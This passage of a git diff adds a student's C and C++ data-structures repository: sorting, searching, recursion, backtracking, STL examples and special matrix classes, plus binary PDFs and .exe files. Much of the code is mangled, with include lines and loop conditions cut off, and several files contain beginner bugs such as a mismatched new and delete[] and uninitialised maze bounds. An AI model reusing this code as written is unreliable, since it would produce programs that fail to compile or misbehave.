examples/16.4 Advanced Recursion.pdf new file mode 100644 index 000000000..cbdf4c19f Binary files /dev/null and b/DSA/Notes and examples/16.4 Advanced Recursion.pdf differ diff --git a/DSA/Notes and examples/16.5 Recursion.pdf b/DSA/Notes and examples/16.5 Recursion.pdf new file mode 100644 index 000000000..61d4bafac Binary files /dev/null and b/DSA/Notes and examples/16.5 Recursion.pdf differ diff --git a/DSA/Notes and examples/17. Permutations - Notes_watermark.pdf b/DSA/Notes and examples/17. Permutations - Notes_watermark.pdf new file mode 100644 index 000000000..9e197b9a4 Binary files /dev/null and b/DSA/Notes and examples/17. Permutations - Notes_watermark.pdf differ diff --git a/DSA/Notes and examples/18.1 Notes Backtracking - Rat in a Maze.pdf b/DSA/Notes and examples/18.1 Notes Backtracking - Rat in a Maze.pdf new file mode 100644 index 000000000..15e3639cc Binary files /dev/null and b/DSA/Notes and examples/18.1 Notes Backtracking - Rat in a Maze.pdf differ diff --git a/DSA/Notes and examples/18.2 Notes Backtracking- N Queen Problem.pdf b/DSA/Notes and examples/18.2 Notes Backtracking- N Queen Problem.pdf new file mode 100644 index 000000000..6d7433a07 Binary files /dev/null and b/DSA/Notes and examples/18.2 Notes Backtracking- N Queen Problem.pdf differ diff --git a/DSA/Notes and examples/19. Vectors in C++ Apni Kaksha.pdf b/DSA/Notes and examples/19. Vectors in C++ Apni Kaksha.pdf new file mode 100644 index 000000000..14132a4d5 Binary files /dev/null and b/DSA/Notes and examples/19. Vectors in C++ Apni Kaksha.pdf differ diff --git a/DSA/Notes and examples/19.1 (merge sort).pdf b/DSA/Notes and examples/19.1 (merge sort).pdf new file mode 100644 index 000000000..3e2952c5c Binary files /dev/null and b/DSA/Notes and examples/19.1 (merge sort).pdf differ diff --git a/DSA/Notes and examples/19.2 (quick sort).pdf b/DSA/Notes and examples/19.2 (quick sort).pdf new file mode 100644 index 000000000..1e2076634 Binary files /dev/null and b/DSA/Notes and examples/19.2 (quick sort).pdf differ diff --git a/DSA/Notes and examples/2-d array.cpp b/DSA/Notes and examples/2-d array.cpp new file mode 100644 index 000000000..6eecadc4e --- /dev/null +++ b/DSA/Notes and examples/2-d array.cpp @@ -0,0 +1,28 @@ +#include + +using namespace std; +int main() +{ + int n,m,i,j; + cout<<"enter length of matrix r x c="; + cin>>n>>m; + int arr[n][m]; + for(i=0;i>arr[i][j]; + } + } + + cout<<"\nMatrix is:"; + for(i=0;i +using namespace std; +int main() { + int n,i; + cin>>n; + + //creating a dynamic array + int *ptr=new int[10000]; + + for(i=0;i>ptr[i]; + + for(i=0;i +using namespace std; +int main() +{ + int arr[5]={1,2,3,4,5}; + for(int i=0;i<5;i++) + cout<<"elements of array are:"< +using namespace std; + +int binarySearch(int arr[], int value) +{ + int start=0; + int end=5; + int mid; + while(start<=end) + { + mid=(start+end)/2; + if(arr[mid]==value) + return mid; + if(arr[mid]value) + end=mid-1; + } + return 0; +} + + +int main() { + // find position/index of 4 provided the array should be sorted + //instead of comparing to first element of array we will compare it to middle element + //T(n)=O(logn) + int arr[]={1,2,3,4,5}; + int i; + int value=4; + cout<<"given array is:\n"; + for(i=0;i<5;i++) + cout< +using namespace std; +int main() { + char arr[10][10]; + arr[0][0]='a'; + arr[1][2]='b'; + cout< +using namespace std; +int main() { + int n; + cin>>n; + char a[100][100]; + cin.get(); + for(int i=0;i +#include +using namespace std; + +bool compare(int a,int b) +{ + //sorts array in decreasing order + return a>b; +} + +int main() { + int a[]={10,2,4,5}; + cout<<"given array:"< +using namespace std; + +void func(int x, int y) +{ + cout<<"function is called"; +} + +int main() +{ + func(); + return 0; +} diff --git a/DSA/Notes and examples/function.exe b/DSA/Notes and examples/function.exe new file mode 100644 index 000000000..9de3887ba Binary files /dev/null and b/DSA/Notes and examples/function.exe differ diff --git a/DSA/Notes and examples/hello.cpp b/DSA/Notes and examples/hello.cpp new file mode 100644 index 000000000..842848b23 --- /dev/null +++ b/DSA/Notes and examples/hello.cpp @@ -0,0 +1,11 @@ +#include + +using namespace std; +int main() +{ + int a; + cout<<"enter value of a="; + cin>>a; + cout<<"value of a="< +using namespace std; +int main() +{ + int age=15; + if(age<18) + cout<<"not eligible for voting"; + else + { + cout<<"eligible for voting"; + } + + return 0; +} \ No newline at end of file diff --git a/DSA/Notes and examples/ifelse.exe b/DSA/Notes and examples/ifelse.exe new file mode 100644 index 000000000..902daa5dc Binary files /dev/null and b/DSA/Notes and examples/ifelse.exe differ diff --git a/DSA/Notes and examples/inbuilt_sort.cpp b/DSA/Notes and examples/inbuilt_sort.cpp new file mode 100644 index 000000000..501a6fc6b --- /dev/null +++ b/DSA/Notes and examples/inbuilt_sort.cpp @@ -0,0 +1,19 @@ +#include +#include +using namespace std; +int main() { + int a[]={10,2,4,5}; + cout<<"given array:"< +using namespace std; + +void insertionSort() +{ + int i,j,current; + int arr[]={10,2,3,4,5}; + + for(i=1;i<5;i++) + { + current=arr[i]; + j=i-1; + while(arr[j]>current && j>=0) + { + arr[j+1]=arr[j]; + j--; + } + arr[j+1]=current; + } + + cout<<"sorted array:\n"; + for(i=0;i<5;i++) + cout< +using namespace std; + +int linearSearch(int arr[], int value) +{ + for(int i=0;i<5;i++) + { + if(arr[i]==value) + return i; + } + return 0; +} + + +int main() { + // find position/index of 4 + //T(n)=O(n) + int arr[]={10,2,3,4,5}; + int i; + int value=4; + cout<<"given array is:\n"; + for(i=0;i<5;i++) + cout< +using namespace std; + +int main() { + // Write C++ code here + int arr[]={10,2,3,4,5}; + int i; + int min_value=arr[0]; + int max_value=arr[0]; + cout<<"given array is:\n"; + for(i=0;i<5;i++) + cout<arr[i]) + min_value=arr[i]; + if(max_value> n; + for(i = 2; i <= n; i++) + { + if(n % i == 0) + { + cout<<"Number is not Prime."< +using namespace std; +int main() { + int n,i; + cin>>n; + for(i=2;i<=n;i++) + { + if(n%i==0) + { + while(n%i==0) + { + n=n/i; + //i++; + } + } + cout< +using namespace std; + +void swap(int arr[],int i,int j) +{ + int temp=arr[i]; + arr[i]=arr[j]; + arr[j]=temp; +} + +int partition(int arr[],int left,int right) +{ + int pivot=arr[right]; + int i=left-1; + + for(int j=left;j>n; + int arr[n]; + for(int i=0;i>arr[i]; + quick(arr,left,right); + for(int i=0;i +using namespace std; + +int main() +{ + return 0; +} diff --git a/DSA/Notes and examples/selectionsort.cpp b/DSA/Notes and examples/selectionsort.cpp new file mode 100644 index 000000000..567d5a006 --- /dev/null +++ b/DSA/Notes and examples/selectionsort.cpp @@ -0,0 +1,36 @@ +//find min value element of an unsorted array and swap it with first element +#include +using namespace std; + +void selectionSort() +{ + int i,j,temp; + int arr[]={10,2,3,4,5}; + for(i=0;i<4;i++) + { + for(j=i+1;j<5;j++) + { + if(arr[j] +using namespace std; + +int main() +{ + string str[20]; + int n; + cin>>n; + cin.get(); + + for(int i=0;i +using namespace std; + +int main() +{ + string s1="hello"; + string s2="world"; +// getline(cin,s); + cout<<"string is:"< +using namespace std; +int main() { + int n; + cin>>n; + int arr[100][100]; + int i,j; + + for(i=0;i>arr[i][j]; + } + + int top_left,bottom_right; + int sum=0; + + for(i=0;i +using namespace std; +int main() +{ + char ch; + cout<<"enter value of character:"; + cin>>ch; + switch (ch) + { + case 'a': + cout<<"vowel"; + break; + case 'e': + cout<<"vowel"; + break; + case 'i': + cout<<"vowel"; + break; + case 'o': + cout<<"vowel"; + break; + case 'u': + cout<<"vowel"; + break; + default: + cout<<"consonant"; + } + return 0; +} \ No newline at end of file diff --git a/DSA/Notes and examples/switch.exe b/DSA/Notes and examples/switch.exe new file mode 100644 index 000000000..4c70f253b Binary files /dev/null and b/DSA/Notes and examples/switch.exe differ diff --git a/DSA/Notes and examples/tokenization.cpp b/DSA/Notes and examples/tokenization.cpp new file mode 100644 index 000000000..532a2f7ae --- /dev/null +++ b/DSA/Notes and examples/tokenization.cpp @@ -0,0 +1,17 @@ +#include +using namespace std; +int main() { + //tokenization- "hi i am a student" + //"i","am","a","student" are tokens + + char arr[50]="i am a student"; + char *ptr; + ptr=strtok(arr," "); + + while(ptr!=NULL) + { + cout< +using namespace std; + +class Complex +{ + public: + int real,img; +}; + +int main() +{ + Complex c1,c2,sum; + c1.real=2,c1.img=3; + c2.real=5,c2.img=4; + + sum.real=c1.real+c2.real; + sum.img=c1.img+c2.img; + + cout< +using namespace std; + +bool sort(int a[],int n) +{ + if(n==0 || n==1) + return true; + if(a[0]>n; + int arr[n]; + for(int i=0;i>arr[i]; + + cout< +using namespace std; + +int fact(int n) +{ + if(n==0) + return 1; + else + return n*fact(n-1); +} + +int main() { + int n; + cin>>n; + + cout< +using namespace std; + +int fibonacci(int n) +{ + if(n==0 || n==1) + return n; + else + return (fibonacci(n-1)+fibonacci(n-2)); +} + +int main() { + int n; + cin>>n; + + cout< +using namespace std; + +int search(int *a,int n,int key) +{ + if(n==0) + return -1; + + //key present at 1st index of an array + if(a[0]==key) + return 0; + + int i=search(a+1,n-1,key); + if(i==-1) + return -1; + + return i+1; +} + +int main() { + int n,i; + cin>>n; + int arr[n]; + for(i=0;i>arr[i]; + + int key; + cin>>key; + + cout< +using namespace std; + +char words[][10]={"zero","one","two","three","four","five","six","seven","eight","nine"}; +void convert(int n) +{ + if(n==0) + return; + else + { + convert(n/10); + int digit=n%10; + cout<>n; + + convert(n); +} diff --git a/DSA/Recursion/power.cpp b/DSA/Recursion/power.cpp new file mode 100644 index 000000000..efcf55163 --- /dev/null +++ b/DSA/Recursion/power.cpp @@ -0,0 +1,17 @@ +#include +using namespace std; + +int power(int base,int exp) +{ + if(exp==0) + return 1; + else + return base*power(base,exp-1); +} + +int main() { + int base,exp; + cin>>base>>exp; + + cout< +using namespace std; + +//i,j-> coordinates of current cell +//m,n-> coordinates of last cell +bool solve( char maze[10][10],int sol[10][10],int i,int j,int m,int n) +{ + if(m==i && n==j) + { + sol[m][n]=1; + + //printing the path + for(i=0;im || j>n) + return false; + + //cell is blocked + if(maze[i][j]=='X') + return false; + + //Assuming this condition + sol[i][j]=1; + bool down=solve(maze,sol,i+1,j,m,n); + bool forward=solve(maze,sol,i,j+1,m,n); + + //backtracking + sol[i][j]=0; + + + if(down || forward) + return true; + // else + return false; +} + +int main() { + char maze[10][10]={"0000","0x00","00x0","000x"}; + int sol[10][10]={0}; + int m,n; + + solve(maze,sol,0,0,m-1,n-1); + return 0; +} +#include +using namespace std; + +//i,j-> coordinates of current cell +//m,n-> coordinates of last cell +bool solve( char maze[10][10],int sol[10][10],int i,int j,int m,int n) +{ + if(m==i && n==j) + { + sol[m][n]=1; + //printing the path + int k1,k2; + + for(k1=0;k1m || j>n ) + return false; + + //cell is blocked + if(maze[i][j]=='X') + return false; + + //Assuming this condition + sol[i][j]=1; + bool down=solve(maze,sol,i+1,j,m,n); + bool forward=solve(maze,sol,i,j+1,m,n); + + //backtracking + sol[i][j]=0; + + + if(down || forward) + return true; + // else + return false; +} + +int main() { + char maze[10][10]; + // ={{'0','0','0','0'}, + // {'0','x','0','0'}, + // {'0','0','x','0'}, + // {'0','0','0','x'}}; + int m,n; + cin>>m>>n; + + for(int i=0;i>maze[i][j]; + } + } + int sol[10][10]={0}; + // int m,n; + + solve(maze,sol,0,0,m,n); + return 0; +} diff --git a/DSA/Recursion/subsets.cpp b/DSA/Recursion/subsets.cpp new file mode 100644 index 000000000..5e13d6b96 --- /dev/null +++ b/DSA/Recursion/subsets.cpp @@ -0,0 +1,25 @@ +#include +using namespace std; + +void subset(char *inp,char *out,int i,int j) +{ + if(inp[i]=='\0') + { + out[j]='\0'; + cout< +using namespace std; + +void move(int disks,char first,char second,char third) +{ + if(disks==0) + return; + + if(disks==1) + cout<<"shift disk "<>disks; + + move(disks,'A','B','C'); +} diff --git a/DSA/STL/binary_search.cpp b/DSA/STL/binary_search.cpp new file mode 100644 index 000000000..09d16b1a2 --- /dev/null +++ b/DSA/STL/binary_search.cpp @@ -0,0 +1,17 @@ +#include +using namespace std; +int main() { + int n,key; + cin>>n; + int arr[n]; + for(int i=0;i>arr[i]; + cin>>key; + + bool present=binary_search(arr,arr+n,key); + if(present) + cout<<"present"; + else + cout<<"absent"; +} + diff --git a/DSA/STL/find.cpp b/DSA/STL/find.cpp new file mode 100644 index 000000000..5c7e8b7eb --- /dev/null +++ b/DSA/STL/find.cpp @@ -0,0 +1,15 @@ +#include +using namespace std; +int main() { + int n,key; + cin>>n; + int arr[n]; + for(int i=0;i>arr[i]; + cin>>key; + + auto it=find(arr,arr+n,key); + int index=it-arr; + cout< +// using namespace std; +// int main() { +// int n; +// cin>>n; +// int a[n]; + +// for(int i=0;i>a[i]; + +// int largest=0; +// sort(a,a+n); +// for(int i=1;i +using namespace std; +int main() { +mapm; +m[0]="abc"; +m[2]="xyz"; +m[5]="sdf"; +m.insert({3,"vgh"}); + +for(auto x:m) +cout< +using namespace std; +int main() { + int a=10,b=4; + + cout<<"maximum="< +using namespace std; +int main() { + int n; + cin>>n; + sets; + + for(int i=0;i>str; + s.insert(str); + } + + for(auto x:s) + cout< +using namespace std; +int main() { + int a=10,b=4; + + swap(a,b); + + cout< +using namespace std; +int main() { + int n; + cin>>n; + int a[n]; + + for(int i=0;i>n; + + int sum=18; + unordered_sets; + + //fix the first element + for(int i=0;i +using namespace std; +int main() { + unordered_mapm; + int n; + cin>>n; + string str; + for(int i=0;i>str; + m[str]++; + } + + int t; + cin>>t; + while(t--) + { + string str; + cin>>str; + cout< +using namespace std; +int main() { + int n; + cin>>n; + unordered_sets; + + for(int i=0;i>str; + s.insert(str); + } + + int t; + cin>>t; + while(t--) + { + string str; + cin>>str; + if(s.find(str)==s.end()) + cout<<"no"; + else + cout<<"yes"; + + } + +} \ No newline at end of file diff --git a/DSA/STL/vectors.cpp b/DSA/STL/vectors.cpp new file mode 100644 index 000000000..5ce0ae9a5 --- /dev/null +++ b/DSA/STL/vectors.cpp @@ -0,0 +1,43 @@ +#include +using namespace std; +int main() { + + //declaration + vectorv; + vectorv1(5,1);//5 elements having value 1 + vectorv2={1,2,3,4,5}; + + //printing vectors + for(int i=0;i>n; + for(int i=0;i>no; + v.push_back(no); + } + cout< +using namespace std; + +int count(int n, vector a, int key) +{ + int freq=0; + for(int i=0;ia={0,1,1,1,1,2,2,2,3,4,4,5,10}; + int n=a.size(); + int key=2; + + cout< +using namespace std; + +int binarySearch(int arr[], int l, int r, int x) +{ + while (l <= r) { + int m = l + (r - l) / 2; + + // Check if x is present at mid + if (arr[m] == x) + return m; + + // If x greater, ignore left half + if (arr[m] < x) + l = m + 1; + + // If x is smaller, ignore right half + else + r = m - 1; + } + + return -1; +} + +int main() +{ + int arr[] = { 2, 3, 4, 10, 40 }; + int x = 10; + int n = sizeof(arr) / sizeof(arr[0]); + int result = binarySearch(arr, 0, n - 1, x); + (result == -1) ? cout << "Element is not present in array" + : cout << "Element is present at index " << result; + return 0; +} diff --git a/DSA/Searching/k_partition.cpp b/DSA/Searching/k_partition.cpp new file mode 100644 index 000000000..395294d96 --- /dev/null +++ b/DSA/Searching/k_partition.cpp @@ -0,0 +1,56 @@ +#include +using namespace std; + +bool divideAmongK(int arr[],int n,int k,int limit){ + //return true if every partition gets atleast limit no of coins + + int cnt = 0; + int current_sum = 0; + + for(int i=0;i=limit){ + cnt +=1; + current_sum = 0; + } + else{ + current_sum += arr[i]; + } + } + + return cnt>=k; +} + +int k_partition(int arr[],int n,int k){ + + int e = 0; + int s = 0; + for(int i=0;i +using namespace std; + +int search(int n,int arr[],int key) +{ + for(int i=0;i +#include +#include +#include +using namespace std; + +void min_pair(vector a1,vector a2){ + + + sort(a2.begin(),a2.end()); + + int p1,p2; + int diff = INT_MAX; + + //iterate over 1 array and look for closes elements in the second array + for(int x : a1){ + auto lb = lower_bound(a2.begin(),a2.end(),x) - a2.begin(); + + //left + if(lb>=1 and x - a2[lb-1] < diff){ + diff = x - a2[lb-1]; + p2 = x; + p1 = a2[lb-1]; + } + //greater / right + if(lb!=a2.size() and a2[lb]-x < diff){ + diff = a2[lb] - x; + p1 = x; + p2 = a2[lb]; + } + + } + cout<<"Min Pair "< a1 = {-1, 5, 10, 20, 3}; + vector a2 = {26, 134, 135, 15, 17}; + min_pair(a1,a2); + + + return 0; +} \ No newline at end of file diff --git a/DSA/Searching/nth root.cpp b/DSA/Searching/nth root.cpp new file mode 100644 index 000000000..b320b89d3 --- /dev/null +++ b/DSA/Searching/nth root.cpp @@ -0,0 +1,46 @@ +#include +using namespace std; + +void findNthRoot(double x, int n) +{ + + // Initialize boundary values + double low, high; + if (x >= 0 and x <= 1) + { + low = x; + high = 1; + } + else + { + low = 1; + high = x; + } + + // Used for taking precision + double epsilon = 0.00000001; + + // Do binary search + double guess = (low + high) / 2; + while (abs((pow(guess, n)) - x) >= epsilon) + { + if (pow(guess, n) > x) + { + high = guess; + } + else + { + low = guess; + } + guess = (low + high) / 2; + } + + cout << fixed << setprecision(16) << guess; +} + +int main() +{ + double x = 5; + int n = 2; + findNthRoot(x, n); +} \ No newline at end of file diff --git a/DSA/Special Matrices/Column MajorLowerTraingular b/DSA/Special Matrices/Column MajorLowerTraingular new file mode 100644 index 000000000..e86f9f628 Binary files /dev/null and b/DSA/Special Matrices/Column MajorLowerTraingular differ diff --git a/DSA/Special Matrices/Column MajorLowerTraingular.c b/DSA/Special Matrices/Column MajorLowerTraingular.c new file mode 100644 index 000000000..7eadc54b9 --- /dev/null +++ b/DSA/Special Matrices/Column MajorLowerTraingular.c @@ -0,0 +1,60 @@ +#include +#include + +typedef struct CLowerTriangularMatrix{ + int size; + int *A; +}Matrix; + +void set(Matrix *m, int i, int j, int x){ + if(i >= j) m->A[m->size*(j-1) - ((j-1)*(j-2))/2 + i-j] = x; +} + +int get(Matrix m, int i, int j){ + if(i < j) return 0; + else return m.A[m.size*(j-1) - ((j-1)*(j-2))/2 + i-j]; +} + +void Display(Matrix m){ + for(int i = 1; i <= m.size; i++){ + for(int j = 1; j <= m.size; j++){ + if(i < j) + printf("%3d ", 0); + else + printf("%3d ", m.A[m.size*(j -1) - ((j-1)*(j-2))/2 +i-j]); + } + printf("\n"); + } +} + + +int main(){ + Matrix mat; + mat.size = 5; + mat.A = (int *)malloc(sizeof(int)*(mat.size*(mat.size+1))/2); + + set(&mat, 1, 1, 24); + set(&mat, 2, 1, 67); + set(&mat, 2, 2, 12); + set(&mat, 3, 1, 63); + set(&mat, 3, 2, 19); + set(&mat, 3, 3, 42); + set(&mat, 4, 1, 90); + set(&mat, 4, 2, 51); + set(&mat, 4, 3, 63); + set(&mat, 4, 4, 72); + set(&mat, 5, 1, 52); + set(&mat, 5, 2, 89); + set(&mat, 5, 5, 61); + set(&mat, 5, 4, 71); + set(&mat, 5, 3, 112); + + printf("%d\n", get(mat, 5, 2)); + printf("%d\n",get(mat, 1, 0)); + printf("%d\n",get(mat, 1, 4)); + printf("%d\n",get(mat, 4, 4)); + printf("%d\n\n",get(mat, 4, 1)); + + + Display(mat); +} \ No newline at end of file diff --git a/DSA/Special Matrices/ColumnMajorLowerTriangular b/DSA/Special Matrices/ColumnMajorLowerTriangular new file mode 100644 index 000000000..765e4975b Binary files /dev/null and b/DSA/Special Matrices/ColumnMajorLowerTriangular differ diff --git a/DSA/Special Matrices/ColumnMajorLowerTriangular.cpp b/DSA/Special Matrices/ColumnMajorLowerTriangular.cpp new file mode 100644 index 000000000..2574538fd --- /dev/null +++ b/DSA/Special Matrices/ColumnMajorLowerTriangular.cpp @@ -0,0 +1,63 @@ +#include + +using namespace std; + +class Matrix{ + private: + int size; + int *A; + + public: + Matrix(int size){ + this->size = size; + A = new int[size*(size+1)/2]; + } + void set(int i, int j, int x); + int get(int i, int j); + void Display(); + ~Matrix(){delete [] A;} +}; + +void Matrix :: set(int i, int j, int x){ + if(i >= j) A[size*(j-1) - ((j-1)*(j-2))/2 + i-j] = x; +} + +int Matrix :: get(int i, int j){ + if(i < j) return 0; + else return A[size*(j-1) - ((j-1)*(j-2))/2 + i-j]; +} + +void Matrix :: Display(){ + for(int i = 1; i <= size; i++){ + for(int j = 1; j <= size; j++){ + if(i < j) + printf("%3d ", 0); + else + printf("%3d ", A[size*(j -1) - ((j-1)*(j-2))/2 +i-j]); + } + printf("\n"); + } +} + + +int main(){ + int size; + cin >> size; + Matrix mat(size); + for(int i=1; i<= size; i++){ + for(int j=1; j <= size; j++){ + int num; + cin >> num; + mat.set(i, j, num); + } + } + + cout << mat.get(5, 2) << endl; + cout << mat.get(1, 0) << endl; + cout << mat.get(1, 4) << endl; + cout << mat.get(4, 4) << endl; + cout << mat.get(4, 1) << endl; + + + mat.Display(); +} \ No newline at end of file diff --git a/DSA/Special Matrices/DiagonalMartrix b/DSA/Special Matrices/DiagonalMartrix new file mode 100644 index 000000000..31a55ced4 Binary files /dev/null and b/DSA/Special Matrices/DiagonalMartrix differ diff --git a/DSA/Special Matrices/DiagonalMartrix.cpp b/DSA/Special Matrices/DiagonalMartrix.cpp new file mode 100644 index 000000000..e0f4808fd --- /dev/null +++ b/DSA/Special Matrices/DiagonalMartrix.cpp @@ -0,0 +1,70 @@ +#include + +using namespace std; + +class Matrix{ + private: + int *A; + int size; + + public: + Matrix(int size){ + A = new int(size); + this->size = size; + } + + void set_element(int i, int j , int x); + int get_element(int i, int j); + void Display(); + int sum_all_elements(); + ~Matrix(){delete [] A;} +}; + +void Matrix :: set_element(int i, int j, int x){ + if(i == j) A[i-1] = x; +} + +int Matrix :: get_element(int i, int j){ + if(i != j) return 0; + else return A[i-1]; +} + +void Matrix :: Display(){ + for(int i=0; i < size; i++){ + for(int j=0; j < size; j++){ + if(i == j) printf("%2d ", A[i]); + else printf("%2d ", 0); + } + cout << endl; + } +} +int Matrix :: sum_all_elements(){ + int sum = 0; + for(int i=0; i < size; i++) sum += A[i]; + return sum; +} + +int main(int argc, char const *argv[]) +{ + Matrix a(5); + a.set_element(4, 5, 12); + a.set_element(4, 4, 36); + a.set_element(1, 1, 14); + a.set_element(2, 2, 74); + a.set_element(3, 3, 67); + a.set_element(5, 5, 17); + a.set_element(1, 4, 71); + + cout << a.get_element(1,1)<< endl; + cout << a.get_element(2,3)<< endl; + cout << a.get_element(2,2)<< endl; + cout << a.get_element(4,5)<< endl; + cout << a.get_element(3, 3)<< endl; + cout << a.get_element(5,5)<< endl; + cout << a.get_element(4,4)<< endl; + + cout << "Sum : " << a.sum_all_elements(); + cout << endl << endl; + a.Display(); + return 0; +} diff --git a/DSA/Special Matrices/LowerTraingularMatrix b/DSA/Special Matrices/LowerTraingularMatrix new file mode 100644 index 000000000..a81aa0fb0 Binary files /dev/null and b/DSA/Special Matrices/LowerTraingularMatrix differ diff --git a/DSA/Special Matrices/LowerTraingularMatrix_rowMajor b/DSA/Special Matrices/LowerTraingularMatrix_rowMajor new file mode 100644 index 000000000..926c57c4a Binary files /dev/null and b/DSA/Special Matrices/LowerTraingularMatrix_rowMajor differ diff --git a/DSA/Special Matrices/LowerTraingularMatrix_rowMajor.cpp b/DSA/Special Matrices/LowerTraingularMatrix_rowMajor.cpp new file mode 100644 index 000000000..b741175ba --- /dev/null +++ b/DSA/Special Matrices/LowerTraingularMatrix_rowMajor.cpp @@ -0,0 +1,73 @@ +#include + +using namespace std; + +//Lower Triangular Matrix Row major Represetation +class LowerTriangularMatrix{ + private: + int *A; + int size; + + public: + LowerTriangularMatrix(int n){ + this->size = n; + A = new int[(n*(n+1))/2]; + } + + void set(int i, int j, int x); + int get(int i, int j); + void Display(); + ~LowerTriangularMatrix(){delete [] A;} +}; + +void LowerTriangularMatrix :: set(int i, int j, int x){ + if(i >= j) + A[(i*(i-1))/2 + j-1] = x; +} + +int LowerTriangularMatrix :: get(int i, int j){ + if(i < j) return 0; + else return A[(i*(i-1))/2 + j-1]; +} + +void LowerTriangularMatrix :: Display(){ + for(int i=1; i<= size; i++){ + for(int j = 1; j<= size; j++){ + if(i >= j) { + printf("%3d ", A[(i*(i-1))/2 + j-1]); + } + else printf("%3d ", 0); + } + cout << endl; + } +} + +int main(int argc, char const *argv[]) +{ + LowerTriangularMatrix mat(5); + mat.set(1, 1, 24); + mat.set(2, 1, 67); + mat.set(2, 2, 12); + mat.set(3, 1, 63); + mat.set(3, 2, 19); + mat.set(3, 3, 42); + mat.set(4, 1, 90); + mat.set(4, 2, 51); + mat.set(4, 3, 63); + mat.set(4, 4, 72); + mat.set(5, 1, 52); + mat.set(5, 2, 89); + mat.set(5, 5, 61); + mat.set(5, 4, 71); + mat.set(5, 3, 112); + + cout << mat.get(5, 2) << endl; + cout << mat.get(1, 0) << endl; + cout << mat.get(1, 4) << endl; + cout << mat.get(4, 4) << endl; + cout << mat.get(4, 1) << endl; + cout << endl; + + mat.Display(); + return 0; +} diff --git a/DSA/Special Matrices/PolynomialRepresentation b/DSA/Special Matrices/PolynomialRepresentation new file mode 100644 index 000000000..1bef787ad Binary files /dev/null and b/DSA/Special Matrices/PolynomialRepresentation differ diff --git a/DSA/Special Matrices/RowMajorLowerTriangular b/DSA/Special Matrices/RowMajorLowerTriangular new file mode 100644 index 000000000..20dc456bb Binary files /dev/null and b/DSA/Special Matrices/RowMajorLowerTriangular differ diff --git a/DSA/Special Matrices/RowMajorLowerTriangular.c b/DSA/Special Matrices/RowMajorLowerTriangular.c new file mode 100644 index 000000000..816dbeb35 --- /dev/null +++ b/DSA/Special Matrices/RowMajorLowerTriangular.c @@ -0,0 +1,49 @@ +#include +#include + +typedef struct RLowerTriangularMatrix{ + int *A; + int size; +}Matrix; + +void set(Matrix *m,int i, int j, int x){ + if(i >= j) m->A[(i*(i-1))/2 + j-1] = x; +} + +int get(Matrix m, int i, int j){ + if(i < j) return 0; + else return m.A[(i*(i-1))/2 + j-1]; +} + +void Display(Matrix m){ + for(int i=1; i<=m.size; i++){ + for(int j=1; j <= m.size; j++){ + if(i < j) printf("%3d ", 0); + else + printf("%3d ", m.A[(i*(i-1))/2 + j-1]); + } + printf("\n"); + } +} + +int main(int argc, char const *argv[]) +{ + Matrix m; + m.size = 4; + m.A = (int *)malloc(sizeof(int)*(m.size*(m.size+1))/2); + set(&m, 1, 1, 25); + set(&m, 2, 1, 22); + set(&m, 2, 2, 45); + set(&m, 3, 1, 17); + set(&m, 3, 2, 75); + set(&m, 3, 3, 24); + set(&m, 4, 1, 98); + set(&m, 4, 2, 56); + set(&m, 4, 3, 91); + set(&m, 4, 4, 64); + + printf("%d\n\n",get(m, 4, 2)); + Display(m); + return 0; +} + diff --git a/DSA/Special Matrices/SquareBandMatrix b/DSA/Special Matrices/SquareBandMatrix new file mode 100644 index 000000000..a04bffff6 Binary files /dev/null and b/DSA/Special Matrices/SquareBandMatrix differ diff --git a/DSA/Special Matrices/SquareBandMatrix.cpp b/DSA/Special Matrices/SquareBandMatrix.cpp new file mode 100644 index 000000000..d227291d1 --- /dev/null +++ b/DSA/Special Matrices/SquareBandMatrix.cpp @@ -0,0 +1,106 @@ +//SquareBand Matrix resembles TriDiagonal Matrix. Only in this case, instead of three diagonals there are much more. +//Thus they show resemeblance to bands of diaagonals and occur in Square Matrix and hence are called as SquareBand Matrices. +//Now why to use Square band Matrix?? +//If you have got a matrix of order say 100 X 100 or even arger with only 6-7 bands with non-zero elements, then implementation using +//Square aband matrices save a lot space. +//Let's code SquareBand Matrix + +#include +#include + +using namespace std; + +//Defining the Class +class SquareBand{ + private: + int size; + int l_band; + int u_band; + int *ele; + + public: + SquareBand(int size, int l_bands, int u_bands){ + this->size = size; + this->l_band = l_bands; + this->u_band = u_bands; + ele = new int[(l_bands + u_bands + 1)*size - (l_bands*(l_bands+1))/2 - (u_bands*(u_bands+1))/2]; + } + + void set(int i, int j, int x); + int get(int i, int j); + void Display(); + ~SquareBand(){delete [] ele;} +}; + +//Defining the Functions +void SquareBand :: set(int i, int j, int x){ + int diff = size - (i - j); + int d = j - i; + if(j-i >= -l_band && j - i <= u_band){ + if(i > j) ele[((diff*(diff-1))/2 - l_band - 1)+ j - 1] = x; + else if(i == j) ele[(size*(size-1))/2 - (l_band*(l_band + 1))/2 + j -1] = x; + else if(i < j) + ele[(size * (size + 1)) / 2 - (l_band * (l_band + 1)) / 2 + (size * d - (d * (d + 1)) / 2 - size + 1) + j - 1] = x; + } +} + +int SquareBand :: get(int i, int j){ + int diff = size - (i - j); + int d = j - i; + if(j-i >= -l_band && j - i <= u_band){ + if(i > j) return ele[((diff*(diff-1))/2 - l_band - 1)+ j - 1]; + else if(i == j) return ele[(size*(size-1))/2 - (l_band*(l_band + 1))/2 + j -1]; + else if(i < j) return ele[(size*(size+1))/2 - (l_band*(l_band + 1))/2 + (size*d - (d*(d+1))/2 - size + 1) +j-1]; + } + return 0; +} + +void SquareBand :: Display(){ + for(int i=1; i <= size; i++){ + for(int j=1; j <= size; j++){ + int data = 0; + int diff = size - (i - j); + int d = j - i; + if(j-i >= -l_band && j - i <= u_band){ + if(i > j) data = ele[((diff*(diff-1))/2 - l_band - 1)+ j - 1]; + else if(i == j) data = ele[(size*(size-1))/2 - (l_band*(l_band + 1))/2 + j -1]; + else if(i < j) data = ele[(size*(size+1))/2 - (l_band*(l_band + 1))/2 + (size*d - (d*(d+1))/2 - size + 1) +j-1]; + } + printf("%-3d", data); + } + cout << endl; + } +} + +int main(){ + //Setting the MAtrix + cout << "Enter the size of SquareBand Matric along with lower and upper bounds : "; + int s, m, n, x; + cin >> s >> m >> n; + SquareBand sq(s, m, n); + + //Entering the Elements + int size2 = (m + n + 1)*s - (m*(m+1))/2 - (n*(n+1))/2; + cout << "Now Enter the Elements of your SquareBand Matrix along with indices : \n"; + for(int i=0; i < size2; i++){ + cin >> m >> n >> x; + sq.set(m, n, x); + } + cout << endl; + + //Displaying the Matrix + cout << "Matrix : \n"; + sq.Display(); + + cout << endl << endl; + //Getting the individual Values + int choice = 1; 